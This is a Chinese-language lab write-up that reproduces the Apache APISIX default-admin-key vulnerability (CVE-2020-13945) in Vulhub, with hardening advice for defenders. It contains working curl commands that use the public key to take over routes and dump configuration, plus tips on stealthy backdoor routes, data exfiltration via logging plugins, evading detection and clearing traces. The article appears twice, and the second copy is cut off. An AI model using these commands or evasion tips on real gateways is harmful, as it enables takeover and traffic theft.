1. 项目概述与背景最近在整理一些关于API网关安全性的研究材料Apache APISIX这个高性能的开源API网关自然绕不开。在安全测试和漏洞复现的学习过程中CVE-2020-13945是一个相当经典的案例它暴露了默认配置和弱密钥带来的巨大风险。这个漏洞的原理并不复杂但影响范围却很广因为它直接允许攻击者绕过认证接管整个API网关的管理权限。我手头正好有Vulhub这个便捷的漏洞靶场环境就决定动手完整复现一遍把从环境搭建、漏洞原理分析到实际利用的整个链条都走通并记录下过程中的一些关键细节和容易踩的坑。对于刚入门Web安全或想了解API网关安全特性的朋友来说这个复现过程能帮你直观地理解“默认即不安全”这一安全原则在实际中的体现。Apache APISIX在2020年及之前的版本中为了便于用户快速上手内置了一个默认的Admin API密钥。问题在于如果管理员在部署后没有及时修改这个密钥那么任何能访问到APISIX管理端口默认9080的人都可以使用这个众所周知的密钥像真正的管理员一样执行所有操作包括创建、修改、删除路由上传恶意插件甚至直接获取后端服务的敏感数据。Vulhub项目提供了这个漏洞的一键化环境极大简化了复现的准备工作让我们可以专注于漏洞本身的分析和利用手法的实践。2. 漏洞原理深度解析2.1 Apache APISIX 架构与Admin API要理解CVE-2020-13945首先得弄清楚Apache APISIX是怎么工作的。APISIX的核心是一个动态、实时、高性能的API网关所有流量路由的规则Route、上游服务Upstream、插件Plugin等配置信息都通过其Admin API进行管理。默认情况下Admin API监听在9080端口与数据面的流量端口9080是同一个但路径不同。Admin API的设计初衷是给运维和管理员使用的因此它提供了完整的RESTful接口例如GET /apisix/admin/routes列出所有路由PUT /apisix/admin/routes/{id}创建或更新一个路由DELETE /apisix/admin/routes/{id}删除一个路由这些接口权限极高显然不能对公网开放。APISIX的防护机制是使用API密钥进行认证。客户端在调用Admin API时必须在请求头中携带一个正确的X-API-KEY。2.2 默认密钥的“原罪”漏洞的根源就在于这个密钥的默认值。在2020年10月之前发布的APISIX版本具体影响版本为小于等于 2.3 的版本中存在一个硬编码的默认密钥edd1c9f034335f136f87ad84b625c8f1。这个值在官方文档和源码中是公开的。这导致了严重的安全问题隐蔽性差攻击者无需爆破直接使用这个公开的密钥即可。危害性极大一旦认证通过攻击者就获得了与管理员同等的权限。普遍性很多开发者在测试或生产环境部署时可能因为疏忽或觉得内网环境安全而未能及时修改此密钥。攻击者利用此漏洞可以篡改路由将正常业务的流量劫持到恶意服务器。窃取数据通过添加路由将请求代理到攻击者控制的服务器从而窃取请求中的敏感信息如API令牌、用户数据。植入后门上传并启用恶意的Lua插件在APISIX服务器上执行任意代码。拒绝服务删除关键路由导致业务中断。注意即使Admin API的监听地址被改为127.0.0.1如果攻击者能够通过SSRF服务器端请求伪造或其他方式从应用内部发起对127.0.0.1:9080的请求漏洞依然可以被利用。这就是为什么仅仅绑定到本地回环地址并不绝对安全。2.3 漏洞修复方案Apache APISIX项目在收到报告后迅速响应修复方案非常明确移除默认密钥在新版本中初始化安装后不再存在任何有效的默认Admin API密钥。强制要求配置启动时必须在配置文件中显式地设置至少一个自定义的密钥否则服务将无法启动。安全公告官方发布了安全公告CVE-2020-13945敦促所有用户立即检查并修改密钥。对于用户而言修复措施就是两步第一升级到已修复的版本2.4及以上第二在配置文件conf/config.yaml中确保apisix.admin_key项配置的是自己生成的、强密码学强度的密钥并删除旧的默认密钥配置。3. Vulhub靶场环境搭建与配置3.1 Vulhub项目简介与准备工作Vulhub是一个基于Docker和Docker-compose的漏洞环境集合它为我们这些安全研究人员和学习者提供了极大的便利。你不需要手动去下载、编译、配置有漏洞的旧版本软件Vulhub已经帮你把所有依赖和配置都打包好了通常只需要几条命令就能启动一个完整的、带有漏洞的应用环境。在开始之前你需要准备好以下基础环境一台安装有Linux的机器虚拟机或云服务器均可我个人使用的是Ubuntu 22.04。安装好Docker和Docker-compose。可以通过系统包管理器安装确保版本不要太旧。sudo apt update sudo apt install docker.io docker-compose sudo systemctl start docker sudo systemctl enable docker # 将当前用户加入docker组避免每次都用sudo sudo usermod -aG docker $USER # 退出终端重新登录使组生效从GitHub克隆Vulhub项目到本地。git clone https://github.com/vulhub/vulhub.git cd vulhub3.2 启动Apache APISIX漏洞环境Vulhub的项目结构非常清晰每个漏洞环境都有一个独立的目录。我们找到Apache APISIX的漏洞环境。cd vulhub/apisix/CVE-2020-13945查看目录下的docker-compose.yml文件可以看到它定义了两个服务一个是带有漏洞的APISIX另一个是用于测试的后端服务比如一个简单的Web应用。version: 2 services: apisix: image: vulhub/apisix:2.2 ... ports: - 9080:9080 - 9443:9443 web: image: vulhub/hello-world ...从配置中可以看到APISIX服务使用了vulhub/apisix:2.2这个镜像这正是存在默认密钥漏洞的版本。它将宿主机的9080端口映射到了容器的9080端口。在目标目录下执行一条命令即可启动环境docker-compose up -d-d参数代表在后台运行。执行后Docker会拉取所需的镜像并启动容器。你可以用以下命令检查容器状态docker-compose ps如果看到两个服务的状态都是Up说明环境已经成功启动。实操心得第一次启动时因为要拉取镜像速度取决于网络。有时可能会遇到端口冲突比如宿主机上9080端口已被占用。此时需要修改docker-compose.yml文件中的端口映射例如将9080:9080改为19080:9080然后重新运行docker-compose up -d。记住修改后访问的端口号也要相应改变。3.3 环境验证与初步探测环境启动后我们首先验证APISIX是否正常工作。最简单的方法是访问其数据面端口。curl http://localhost:9080如果返回一个包含404状态码的JSON响应类似{error_msg:404 Route Not Found}这其实是正常的说明APISIX服务正在运行只是没有匹配到任何路由规则。接下来我们需要探测Admin API是否可访问以及默认密钥是否有效。这就是漏洞复现的核心步骤了。但在此之前我们先用一个简单的命令看看Admin API的接口是否存在curl -v http://localhost:9080/apisix/admin/routes不加任何认证头预期会返回401 Unauthorized并提示{message:Missing API key found in request}。这证实了Admin API确实需要密钥认证。4. 漏洞复现实操过程4.1 利用默认密钥进行未授权访问现在我们使用漏洞的核心——那个硬编码的默认密钥edd1c9f034335f136f87ad84b625c8f1来尝试访问Admin API。curl -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 http://localhost:9080/apisix/admin/routes如果漏洞存在这条命令将不会返回401错误而是会返回一个JSON数据其中包含当前APISIX中定义的所有路由列表初始状态下应该是空的列表{}或{node:{...}, action:get}这样的结构。这一步的成功直接证明了未授权访问漏洞的存在。为了更清晰地展示攻击者能做什么我们尝试创建一个恶意的路由。假设我们想将访问/evil路径的流量都代理到攻击者控制的服务器http://attacker-server.com这里我们用Vulhub环境自带的web服务来模拟它的主机名就是web。首先准备一个创建路由的JSON数据体。APISIX的Admin API通常使用PUT方法来创建或更新资源需要指定一个ID。# 创建一个名为‘evil-route’的JSON文件 cat evil_route.json EOF { uri: /evil, upstream: { type: roundrobin, nodes: { web:80: 1 } } } EOF这个配置定义了一个路由所有请求URI为/evil的流量将以轮询方式转发到上游主机web的80端口即我们环境里那个简单的hello-world服务。然后使用默认密钥通过Admin API创建这个路由curl -X PUT \ -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 \ -H Content-Type: application/json \ -d evil_route.json \ http://localhost:9080/apisix/admin/routes/evil-route如果成功APISIX会返回一个包含完整路由配置的JSON响应其中key: /apisix/routes/evil-route表示创建成功。4.2 验证路由创建成功与流量劫持创建完成后我们验证一下这个恶意路由是否生效。再次列出所有路由curl -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 http://localhost:9080/apisix/admin/routes这次你应该能在返回的JSON中看到我们刚刚创建的evil-route的配置信息。现在最关键的一步直接访问我们创建的这个恶意路由。curl http://localhost:9080/evil如果一切顺利你将不再看到APISIX的404页面而是会收到后端web服务返回的响应内容例如一个简单的“Hello World”页面。这证明攻击者已经成功地在API网关上植入了一个新的路由规则并且该规则已生效实现了流量劫持。想象一下如果攻击者将upstream.nodes指向一个钓鱼网站或数据收集服务器他就可以窃取所有访问该路径用户的敏感信息。4.3 进一步的攻击模拟信息窃取与后门植入为了更深入地演示危害我们可以模拟一个信息窃取的场景。假设攻击者想记录所有经过某个路由的请求头和部分体信息。虽然APISIX有现成的插件但攻击者也可以尝试上传自定义的Lua插件如果文件系统权限允许。不过在默认的Vulhub环境中更直接的攻击方式是修改现有路由添加一个能泄露信息的插件或者将流量转发到攻击者控制的、具备记录功能的代理服务器。例如攻击者可以修改一个已有的、访问量大的业务路由假设其ID为user-service在其插件配置中偷偷加入一个http-logger插件将日志发送到攻击者的服务器。或者更简单粗暴地直接修改该路由的上游地址。此外攻击者还可以通过Admin API直接获取当前的完整配置包括所有其他路由、上游服务和消费者信息从而绘制出整个内部网络的API架构图为后续横向移动攻击做准备。# 获取所有上游配置 curl -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 http://localhost:9080/apisix/admin/upstreams # 获取所有消费者配置 curl -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 http://localhost:9080/apisix/admin/consumers4.4 清理与还原实验结束后为了保持环境干净也为了下次复现时不受影响我们需要删除刚才创建的恶意路由并关闭环境。删除路由curl -X DELETE \ -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 \ http://localhost:9080/apisix/admin/routes/evil-route返回成功信息后再次列出路由确认是否已删除。最后在Vulhub环境目录下停止并移除容器docker-compose down这条命令会停止并删除本次up启动的所有容器、网络等资源但不会删除已下载的镜像。5. 漏洞挖掘与利用的进阶思考5.1 从复现到挖掘如何发现此类漏洞复现已知漏洞是学习的第一步但安全研究的核心能力在于挖掘未知漏洞。对于类似“默认凭证”或“弱口令”这类漏洞我们可以形成一套系统的挖掘思路信息收集阶段目标识别在资产测绘或渗透测试中识别出Apache APISIX实例。常见识别特征包括HTTP响应头中的Server字段可能包含APISIX、默认的9080/9443/9180端口以及特定的错误页面样式。版本探测尝试通过访问特定路径如/apisix/admin/routes返回的错误信息或使用无害的API调用结合错误响应来推断APISIX的大致版本。知道目标版本是否在受影响范围内至关重要。漏洞探测阶段默认路径扫描直接尝试访问Admin API的常见端点如/apisix/admin/routes,/apisix/admin/upstreams等。默认密钥测试这是最直接的一步。收集目标软件所有历史版本和文档中提及的默认密码、密钥、Token。对于APISIX就是edd1c9f034335f136f87ad84b625c8f1。需要建立一个自己的默认凭证字典。弱密钥爆破如果默认密钥无效且目标版本可能已修复但管理员设置了弱密钥可以尝试对X-API-KEY头进行定向爆破。但需要注意频率避免触发防护机制。权限提升与横向移动一旦获得Admin API权限动作要快。优先目标是导出全量配置这能让你一览无余。创建隐蔽后门不要创建像/evil这样显眼的路由。可以考虑修改一个已存在的、不常被检查的业务路由在其配置中附加一个将流量复制到攻击者服务器的插件或者修改其上游指向一个中间代理。利用插件系统研究APISIX的插件机制看是否能上传或启用具有执行代码能力的插件如serverless插件执行特定函数。这需要更深入的研究和对目标文件系统权限的判断。5.2 针对API网关的通用安全测试点APISIX的案例为我们测试其他API网关如Kong, Tyk, Gloo等提供了思路。以下是一些通用的安全测试点测试类别具体测试点说明与潜在风险认证与授权默认凭证/弱口令检查管理界面、API接口是否存在未修改的默认密码或弱密码。未授权访问直接访问管理API或配置接口看是否无需认证。JWT/Token安全性如果使用JWT检查其签名算法是否支持none、密钥强度、有效期等。配置安全管理接口暴露检查管理API是否错误地暴露在公网或内部非安全网络。配置信息泄露检查网关是否在错误响应、调试接口中泄露内部IP、端口、配置路径等。不安全的默认配置如默认开启调试模式、示例路由未删除等。插件与扩展恶意插件上传/执行检查插件上传功能是否存在任意文件上传、代码执行漏洞。插件配置错误某些插件如重写、转发配置不当可能导致SSRF、路径遍历等。流量处理注入攻击测试网关在转发请求时对Headers、Parameters的处理是否存在CRLF注入、SQL注入如果插件涉及数据库等。拒绝服务测试是否存在消耗大量资源的路由或插件配置可能导致网关瘫痪。5.3 防御措施与安全加固建议从防御者角度针对此类漏洞必须采取多层次的安全措施立即行动治标修改默认密钥这是修复CVE-2020-13945最直接、最紧急的一步。立即生成一个强随机密钥替换默认值。网络隔离严格限制Admin API的访问来源。通过防火墙策略只允许特定的管理IP或跳板机访问管理端口默认9080。即使密钥泄露网络层隔离也能提供最后一道防线。升级版本尽快升级到已修复该漏洞的Apache APISIX版本2.4及以上。体系化加固治本最小权限原则为Admin API的使用者如CI/CD系统、运维人员分配最小必要的权限。如果APISIX版本支持可以配置更细粒度的RBAC。启用HTTPS为Admin API启用TLS加密默认9443端口防止密钥在传输中被嗅探。审计与监控开启APISIX的审计日志对所有Admin API的操作进行记录和集中分析。设置告警规则对异常时间、异常IP的管理操作进行实时告警。配置即代码与自动化使用声明式配置如YAML文件来管理路由和插件并通过GitOps流程进行版本控制和自动化部署。减少通过Admin API进行手动、临时操作的需求从而降低暴露面和误操作风险。定期安全扫描将API网关纳入内部资产清单定期使用漏洞扫描工具或进行人工安全评估检查是否存在默认配置、未授权访问等问题。6. 常见问题与排查技巧实录在复现和后续研究过程中我遇到了一些典型问题这里记录下来供大家参考。6.1 Vulhub环境启动失败问题现象执行docker-compose up -d后容器不断重启或状态为Exit。排查思路查看日志使用docker-compose logs apisix查看具体错误信息。最常见的问题是端口冲突。检查端口占用在宿主机执行netstat -tlnp | grep :9080查看9080端口是否被其他进程如本地安装的APISIX、Nginx等占用。检查Docker资源运行docker system df和docker ps -a看是否是磁盘空间不足或存在旧的、未清理的容器造成冲突。解决方案端口冲突修改docker-compose.yml中的端口映射例如将9080:9080改为19080:9080然后重启。资源冲突清理无用的Docker镜像和容器docker system prune -a谨慎操作会清理所有未使用的资源。然后重新启动。镜像拉取失败可能是网络问题尝试配置Docker镜像加速器。6.2 利用curl命令测试时返回403或其它非预期错误问题现象使用默认密钥访问Admin API时没有返回路由列表而是返回403 Forbidden或404 Not Found。排查思路确认密钥和头格式确保-H参数正确密钥值无误且头名称是X-API-KEY。可以先用curl -v输出详细过程查看发送的请求头。确认APISIX版本Vulhub环境使用的是2.2镜像确实存在漏洞。如果你自行搭建的环境请确认版本号。进入容器查看docker exec -it container_id sh然后cat /usr/local/apisix/version。确认Admin API路径不同版本路径可能略有差异但/apisix/admin/routes是标准的。可以尝试访问/apisix/admin看看。查看APISIX错误日志进入容器查看日志文件/usr/local/apisix/logs/error.log里面可能有更详细的认证失败原因。解决方案仔细核对请求的每一个细节。对于Vulhub环境严格按照本文命令操作通常不会出错。如果是自建环境请检查conf/config.yaml中admin_key的配置确认你使用的密钥是否在允许的列表里。6.3 创建路由后访问返回404或502问题现象通过Admin API创建路由成功但通过公网端口访问该路由时返回404 Route Not Found或502 Bad Gateway。排查思路路由匹配问题检查创建的uri字段。APISIX默认是前缀匹配。如果你创建了/evil那么访问/evil、/evil/、/evil/test都能匹配。但如果访问/evilxxx则可能不匹配。确保你访问的URL路径与配置完全匹配。上游服务问题返回502通常意味着APISIX无法连接到上游upstream.nodes中配置的服务。在Vulhub环境中我们配置的是web:80这依赖于Docker的内部DNS。确保web服务容器正在运行docker-compose ps。网络连通性在APISIX容器内尝试curl web:80看是否能访问到后端服务。如果不能可能是Docker网络问题。解决方案对于Vulhub环境确保web服务已启动。可以尝试重启整个环境docker-compose down docker-compose up -d。检查路由配置的JSON格式是否正确特别是upstream.nodes的格式必须是{host:port: weight}的形式。6.4 如何在实际渗透测试中更隐蔽地利用在真实测试中直接使用/evil这样的路径和PUT /admin/routes这样敏感的操作极易被日志或WAF发现。隐蔽技巧使用合法路径研究目标业务已有的API路径创建一个与之相似但略有不同的路径或者直接篡改一个现有但低频使用的路由。利用已有插件优先考虑使用APISIX内置的、功能强大的插件来实现目标例如proxy-rewrite插件修改上游kafka-logger将数据发送到攻击者控制的Kafka这比上传未知插件更隐蔽。清理痕迹操作完成后可以考虑删除通过Admin API创建的路由日志如果日志可写或者使用删除操作覆盖掉之前创建的路由。但要注意审计日志可能被发送到远程系统本地删除无效。时间选择在业务低峰期如深夜进行操作减少被实时监控发现的概率。复现CVE-2020-13945漏洞的过程就像一次完整的安全事件推演。从环境搭建到漏洞验证再到深度利用和防御思考每一步都加深了对API网关安全模型的理解。对于运维和开发同学来说这个案例是一个响亮的警钟任何默认凭证都必须第一时间修改任何管理接口都必须施加严格的网络访问控制。而对于安全研究者它则展示了如何从一个简单的默认配置问题出发逐步深入挖掘出足以颠覆整个业务流量的严重威胁。在云原生和微服务架构普及的今天API网关作为流量枢纽其安全性怎么强调都不为过。
CVE-2020-13945漏洞复现:Apache APISIX默认密钥安全风险剖析
1. 项目概述与背景最近在整理一些关于API网关安全性的研究材料Apache APISIX这个高性能的开源API网关自然绕不开。在安全测试和漏洞复现的学习过程中CVE-2020-13945是一个相当经典的案例它暴露了默认配置和弱密钥带来的巨大风险。这个漏洞的原理并不复杂但影响范围却很广因为它直接允许攻击者绕过认证接管整个API网关的管理权限。我手头正好有Vulhub这个便捷的漏洞靶场环境就决定动手完整复现一遍把从环境搭建、漏洞原理分析到实际利用的整个链条都走通并记录下过程中的一些关键细节和容易踩的坑。对于刚入门Web安全或想了解API网关安全特性的朋友来说这个复现过程能帮你直观地理解“默认即不安全”这一安全原则在实际中的体现。Apache APISIX在2020年及之前的版本中为了便于用户快速上手内置了一个默认的Admin API密钥。问题在于如果管理员在部署后没有及时修改这个密钥那么任何能访问到APISIX管理端口默认9080的人都可以使用这个众所周知的密钥像真正的管理员一样执行所有操作包括创建、修改、删除路由上传恶意插件甚至直接获取后端服务的敏感数据。Vulhub项目提供了这个漏洞的一键化环境极大简化了复现的准备工作让我们可以专注于漏洞本身的分析和利用手法的实践。2. 漏洞原理深度解析2.1 Apache APISIX 架构与Admin API要理解CVE-2020-13945首先得弄清楚Apache APISIX是怎么工作的。APISIX的核心是一个动态、实时、高性能的API网关所有流量路由的规则Route、上游服务Upstream、插件Plugin等配置信息都通过其Admin API进行管理。默认情况下Admin API监听在9080端口与数据面的流量端口9080是同一个但路径不同。Admin API的设计初衷是给运维和管理员使用的因此它提供了完整的RESTful接口例如GET /apisix/admin/routes列出所有路由PUT /apisix/admin/routes/{id}创建或更新一个路由DELETE /apisix/admin/routes/{id}删除一个路由这些接口权限极高显然不能对公网开放。APISIX的防护机制是使用API密钥进行认证。客户端在调用Admin API时必须在请求头中携带一个正确的X-API-KEY。2.2 默认密钥的“原罪”漏洞的根源就在于这个密钥的默认值。在2020年10月之前发布的APISIX版本具体影响版本为小于等于 2.3 的版本中存在一个硬编码的默认密钥edd1c9f034335f136f87ad84b625c8f1。这个值在官方文档和源码中是公开的。这导致了严重的安全问题隐蔽性差攻击者无需爆破直接使用这个公开的密钥即可。危害性极大一旦认证通过攻击者就获得了与管理员同等的权限。普遍性很多开发者在测试或生产环境部署时可能因为疏忽或觉得内网环境安全而未能及时修改此密钥。攻击者利用此漏洞可以篡改路由将正常业务的流量劫持到恶意服务器。窃取数据通过添加路由将请求代理到攻击者控制的服务器从而窃取请求中的敏感信息如API令牌、用户数据。植入后门上传并启用恶意的Lua插件在APISIX服务器上执行任意代码。拒绝服务删除关键路由导致业务中断。注意即使Admin API的监听地址被改为127.0.0.1如果攻击者能够通过SSRF服务器端请求伪造或其他方式从应用内部发起对127.0.0.1:9080的请求漏洞依然可以被利用。这就是为什么仅仅绑定到本地回环地址并不绝对安全。2.3 漏洞修复方案Apache APISIX项目在收到报告后迅速响应修复方案非常明确移除默认密钥在新版本中初始化安装后不再存在任何有效的默认Admin API密钥。强制要求配置启动时必须在配置文件中显式地设置至少一个自定义的密钥否则服务将无法启动。安全公告官方发布了安全公告CVE-2020-13945敦促所有用户立即检查并修改密钥。对于用户而言修复措施就是两步第一升级到已修复的版本2.4及以上第二在配置文件conf/config.yaml中确保apisix.admin_key项配置的是自己生成的、强密码学强度的密钥并删除旧的默认密钥配置。3. Vulhub靶场环境搭建与配置3.1 Vulhub项目简介与准备工作Vulhub是一个基于Docker和Docker-compose的漏洞环境集合它为我们这些安全研究人员和学习者提供了极大的便利。你不需要手动去下载、编译、配置有漏洞的旧版本软件Vulhub已经帮你把所有依赖和配置都打包好了通常只需要几条命令就能启动一个完整的、带有漏洞的应用环境。在开始之前你需要准备好以下基础环境一台安装有Linux的机器虚拟机或云服务器均可我个人使用的是Ubuntu 22.04。安装好Docker和Docker-compose。可以通过系统包管理器安装确保版本不要太旧。sudo apt update sudo apt install docker.io docker-compose sudo systemctl start docker sudo systemctl enable docker # 将当前用户加入docker组避免每次都用sudo sudo usermod -aG docker $USER # 退出终端重新登录使组生效从GitHub克隆Vulhub项目到本地。git clone https://github.com/vulhub/vulhub.git cd vulhub3.2 启动Apache APISIX漏洞环境Vulhub的项目结构非常清晰每个漏洞环境都有一个独立的目录。我们找到Apache APISIX的漏洞环境。cd vulhub/apisix/CVE-2020-13945查看目录下的docker-compose.yml文件可以看到它定义了两个服务一个是带有漏洞的APISIX另一个是用于测试的后端服务比如一个简单的Web应用。version: 2 services: apisix: image: vulhub/apisix:2.2 ... ports: - 9080:9080 - 9443:9443 web: image: vulhub/hello-world ...从配置中可以看到APISIX服务使用了vulhub/apisix:2.2这个镜像这正是存在默认密钥漏洞的版本。它将宿主机的9080端口映射到了容器的9080端口。在目标目录下执行一条命令即可启动环境docker-compose up -d-d参数代表在后台运行。执行后Docker会拉取所需的镜像并启动容器。你可以用以下命令检查容器状态docker-compose ps如果看到两个服务的状态都是Up说明环境已经成功启动。实操心得第一次启动时因为要拉取镜像速度取决于网络。有时可能会遇到端口冲突比如宿主机上9080端口已被占用。此时需要修改docker-compose.yml文件中的端口映射例如将9080:9080改为19080:9080然后重新运行docker-compose up -d。记住修改后访问的端口号也要相应改变。3.3 环境验证与初步探测环境启动后我们首先验证APISIX是否正常工作。最简单的方法是访问其数据面端口。curl http://localhost:9080如果返回一个包含404状态码的JSON响应类似{error_msg:404 Route Not Found}这其实是正常的说明APISIX服务正在运行只是没有匹配到任何路由规则。接下来我们需要探测Admin API是否可访问以及默认密钥是否有效。这就是漏洞复现的核心步骤了。但在此之前我们先用一个简单的命令看看Admin API的接口是否存在curl -v http://localhost:9080/apisix/admin/routes不加任何认证头预期会返回401 Unauthorized并提示{message:Missing API key found in request}。这证实了Admin API确实需要密钥认证。4. 漏洞复现实操过程4.1 利用默认密钥进行未授权访问现在我们使用漏洞的核心——那个硬编码的默认密钥edd1c9f034335f136f87ad84b625c8f1来尝试访问Admin API。curl -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 http://localhost:9080/apisix/admin/routes如果漏洞存在这条命令将不会返回401错误而是会返回一个JSON数据其中包含当前APISIX中定义的所有路由列表初始状态下应该是空的列表{}或{node:{...}, action:get}这样的结构。这一步的成功直接证明了未授权访问漏洞的存在。为了更清晰地展示攻击者能做什么我们尝试创建一个恶意的路由。假设我们想将访问/evil路径的流量都代理到攻击者控制的服务器http://attacker-server.com这里我们用Vulhub环境自带的web服务来模拟它的主机名就是web。首先准备一个创建路由的JSON数据体。APISIX的Admin API通常使用PUT方法来创建或更新资源需要指定一个ID。# 创建一个名为‘evil-route’的JSON文件 cat evil_route.json EOF { uri: /evil, upstream: { type: roundrobin, nodes: { web:80: 1 } } } EOF这个配置定义了一个路由所有请求URI为/evil的流量将以轮询方式转发到上游主机web的80端口即我们环境里那个简单的hello-world服务。然后使用默认密钥通过Admin API创建这个路由curl -X PUT \ -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 \ -H Content-Type: application/json \ -d evil_route.json \ http://localhost:9080/apisix/admin/routes/evil-route如果成功APISIX会返回一个包含完整路由配置的JSON响应其中key: /apisix/routes/evil-route表示创建成功。4.2 验证路由创建成功与流量劫持创建完成后我们验证一下这个恶意路由是否生效。再次列出所有路由curl -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 http://localhost:9080/apisix/admin/routes这次你应该能在返回的JSON中看到我们刚刚创建的evil-route的配置信息。现在最关键的一步直接访问我们创建的这个恶意路由。curl http://localhost:9080/evil如果一切顺利你将不再看到APISIX的404页面而是会收到后端web服务返回的响应内容例如一个简单的“Hello World”页面。这证明攻击者已经成功地在API网关上植入了一个新的路由规则并且该规则已生效实现了流量劫持。想象一下如果攻击者将upstream.nodes指向一个钓鱼网站或数据收集服务器他就可以窃取所有访问该路径用户的敏感信息。4.3 进一步的攻击模拟信息窃取与后门植入为了更深入地演示危害我们可以模拟一个信息窃取的场景。假设攻击者想记录所有经过某个路由的请求头和部分体信息。虽然APISIX有现成的插件但攻击者也可以尝试上传自定义的Lua插件如果文件系统权限允许。不过在默认的Vulhub环境中更直接的攻击方式是修改现有路由添加一个能泄露信息的插件或者将流量转发到攻击者控制的、具备记录功能的代理服务器。例如攻击者可以修改一个已有的、访问量大的业务路由假设其ID为user-service在其插件配置中偷偷加入一个http-logger插件将日志发送到攻击者的服务器。或者更简单粗暴地直接修改该路由的上游地址。此外攻击者还可以通过Admin API直接获取当前的完整配置包括所有其他路由、上游服务和消费者信息从而绘制出整个内部网络的API架构图为后续横向移动攻击做准备。# 获取所有上游配置 curl -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 http://localhost:9080/apisix/admin/upstreams # 获取所有消费者配置 curl -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 http://localhost:9080/apisix/admin/consumers4.4 清理与还原实验结束后为了保持环境干净也为了下次复现时不受影响我们需要删除刚才创建的恶意路由并关闭环境。删除路由curl -X DELETE \ -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 \ http://localhost:9080/apisix/admin/routes/evil-route返回成功信息后再次列出路由确认是否已删除。最后在Vulhub环境目录下停止并移除容器docker-compose down这条命令会停止并删除本次up启动的所有容器、网络等资源但不会删除已下载的镜像。5. 漏洞挖掘与利用的进阶思考5.1 从复现到挖掘如何发现此类漏洞复现已知漏洞是学习的第一步但安全研究的核心能力在于挖掘未知漏洞。对于类似“默认凭证”或“弱口令”这类漏洞我们可以形成一套系统的挖掘思路信息收集阶段目标识别在资产测绘或渗透测试中识别出Apache APISIX实例。常见识别特征包括HTTP响应头中的Server字段可能包含APISIX、默认的9080/9443/9180端口以及特定的错误页面样式。版本探测尝试通过访问特定路径如/apisix/admin/routes返回的错误信息或使用无害的API调用结合错误响应来推断APISIX的大致版本。知道目标版本是否在受影响范围内至关重要。漏洞探测阶段默认路径扫描直接尝试访问Admin API的常见端点如/apisix/admin/routes,/apisix/admin/upstreams等。默认密钥测试这是最直接的一步。收集目标软件所有历史版本和文档中提及的默认密码、密钥、Token。对于APISIX就是edd1c9f034335f136f87ad84b625c8f1。需要建立一个自己的默认凭证字典。弱密钥爆破如果默认密钥无效且目标版本可能已修复但管理员设置了弱密钥可以尝试对X-API-KEY头进行定向爆破。但需要注意频率避免触发防护机制。权限提升与横向移动一旦获得Admin API权限动作要快。优先目标是导出全量配置这能让你一览无余。创建隐蔽后门不要创建像/evil这样显眼的路由。可以考虑修改一个已存在的、不常被检查的业务路由在其配置中附加一个将流量复制到攻击者服务器的插件或者修改其上游指向一个中间代理。利用插件系统研究APISIX的插件机制看是否能上传或启用具有执行代码能力的插件如serverless插件执行特定函数。这需要更深入的研究和对目标文件系统权限的判断。5.2 针对API网关的通用安全测试点APISIX的案例为我们测试其他API网关如Kong, Tyk, Gloo等提供了思路。以下是一些通用的安全测试点测试类别具体测试点说明与潜在风险认证与授权默认凭证/弱口令检查管理界面、API接口是否存在未修改的默认密码或弱密码。未授权访问直接访问管理API或配置接口看是否无需认证。JWT/Token安全性如果使用JWT检查其签名算法是否支持none、密钥强度、有效期等。配置安全管理接口暴露检查管理API是否错误地暴露在公网或内部非安全网络。配置信息泄露检查网关是否在错误响应、调试接口中泄露内部IP、端口、配置路径等。不安全的默认配置如默认开启调试模式、示例路由未删除等。插件与扩展恶意插件上传/执行检查插件上传功能是否存在任意文件上传、代码执行漏洞。插件配置错误某些插件如重写、转发配置不当可能导致SSRF、路径遍历等。流量处理注入攻击测试网关在转发请求时对Headers、Parameters的处理是否存在CRLF注入、SQL注入如果插件涉及数据库等。拒绝服务测试是否存在消耗大量资源的路由或插件配置可能导致网关瘫痪。5.3 防御措施与安全加固建议从防御者角度针对此类漏洞必须采取多层次的安全措施立即行动治标修改默认密钥这是修复CVE-2020-13945最直接、最紧急的一步。立即生成一个强随机密钥替换默认值。网络隔离严格限制Admin API的访问来源。通过防火墙策略只允许特定的管理IP或跳板机访问管理端口默认9080。即使密钥泄露网络层隔离也能提供最后一道防线。升级版本尽快升级到已修复该漏洞的Apache APISIX版本2.4及以上。体系化加固治本最小权限原则为Admin API的使用者如CI/CD系统、运维人员分配最小必要的权限。如果APISIX版本支持可以配置更细粒度的RBAC。启用HTTPS为Admin API启用TLS加密默认9443端口防止密钥在传输中被嗅探。审计与监控开启APISIX的审计日志对所有Admin API的操作进行记录和集中分析。设置告警规则对异常时间、异常IP的管理操作进行实时告警。配置即代码与自动化使用声明式配置如YAML文件来管理路由和插件并通过GitOps流程进行版本控制和自动化部署。减少通过Admin API进行手动、临时操作的需求从而降低暴露面和误操作风险。定期安全扫描将API网关纳入内部资产清单定期使用漏洞扫描工具或进行人工安全评估检查是否存在默认配置、未授权访问等问题。6. 常见问题与排查技巧实录在复现和后续研究过程中我遇到了一些典型问题这里记录下来供大家参考。6.1 Vulhub环境启动失败问题现象执行docker-compose up -d后容器不断重启或状态为Exit。排查思路查看日志使用docker-compose logs apisix查看具体错误信息。最常见的问题是端口冲突。检查端口占用在宿主机执行netstat -tlnp | grep :9080查看9080端口是否被其他进程如本地安装的APISIX、Nginx等占用。检查Docker资源运行docker system df和docker ps -a看是否是磁盘空间不足或存在旧的、未清理的容器造成冲突。解决方案端口冲突修改docker-compose.yml中的端口映射例如将9080:9080改为19080:9080然后重启。资源冲突清理无用的Docker镜像和容器docker system prune -a谨慎操作会清理所有未使用的资源。然后重新启动。镜像拉取失败可能是网络问题尝试配置Docker镜像加速器。6.2 利用curl命令测试时返回403或其它非预期错误问题现象使用默认密钥访问Admin API时没有返回路由列表而是返回403 Forbidden或404 Not Found。排查思路确认密钥和头格式确保-H参数正确密钥值无误且头名称是X-API-KEY。可以先用curl 